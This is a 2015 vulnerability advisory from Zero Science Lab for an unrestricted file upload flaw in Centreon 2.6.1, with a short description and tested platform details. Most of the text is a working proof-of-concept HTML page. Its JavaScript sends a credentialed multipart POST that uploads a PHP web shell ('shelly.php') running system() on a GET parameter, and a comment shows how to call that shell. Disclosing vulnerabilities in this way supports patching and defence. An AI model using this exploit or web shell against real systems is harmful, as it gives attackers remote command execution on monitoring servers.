Centreon version 2.6.1 suffers from a remote shell upload vulnerability.
d6f7d3dc2b9d187d9f488cbf0e34984b389cdb34f36401b172e21e70df766956
Centreon 2.6.1 Unrestricted File Upload Vulnerability
Vendor: Centreon
Product web page: https://www.centreon.com
Affected version: 2.6.1 (CES 3.2)
Summary: Centreon is the choice of some of the world's largest
companies and mission-critical organizations for real-time IT
performance monitoring and diagnostics management.
Desc: The vulnerability is caused due to the improper verification
of uploaded files via the 'filename' POST parameter. This can be
exploited to execute arbitrary PHP code by uploading a malicious
PHP script file that will be stored in the '/img/media/' directory.
Tested on: CentOS 6.6 (Final)
Apache/2.2.15
PHP/5.3.3
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2015-5264
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5264.php
10.08.2015
--
<html>
<!-- Specified dir is 1337 and filename is shelly.php -->
<!-- Ex: http://localhost.localdomain/centreon/img/media/1337/shelly.php?c=id -->
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://localhost.localdomain/centreon/main.php?p=50102", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------951909060822176775828135993");
xhr.withCredentials = true;
var body = "-----------------------------951909060822176775828135993\r\n" +
"Content-Disposition: form-data; name=\"directories\"\r\n" +
"\r\n" +
"1337\r\n" +
"-----------------------------951909060822176775828135993\r\n" +
"Content-Disposition: form-data; name=\"list_dir\"\r\n" +
"\r\n" +
"0\r\n" +
"-----------------------------951909060822176775828135993\r\n" +
"Content-Disposition: form-data; name=\"filename\"; filename=\"shelly.php\"\r\n" +
"Content-Type: application/octet-stream\r\n" +
"\r\n" +
"\x3c?php\r\n" +
"echo \"\x3cpre\x3e\";system($_GET[\'c\']);echo \"\x3c\/pre\x3e\";\r\n" +
"?\x3e\r\n" +
"-----------------------------951909060822176775828135993\r\n" +
"Content-Disposition: form-data; name=\"img_comment\"\r\n" +
"\r\n" +
"peened\r\n" +
"-----------------------------951909060822176775828135993\r\n" +
"Content-Disposition: form-data; name=\"action[action]\"\r\n" +
"\r\n" +
"1\r\n" +
"-----------------------------951909060822176775828135993\r\n" +
"Content-Disposition: form-data; name=\"submitA\"\r\n" +
"\r\n" +
"Save\r\n" +
"-----------------------------951909060822176775828135993\r\n" +
"Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n" +
"\r\n" +
"2097152\r\n" +
"-----------------------------951909060822176775828135993\r\n" +
"Content-Disposition: form-data; name=\"img_id\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------951909060822176775828135993\r\n" +
"Content-Disposition: form-data; name=\"o\"\r\n" +
"\r\n" +
"a\r\n" +
"-----------------------------951909060822176775828135993--";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>
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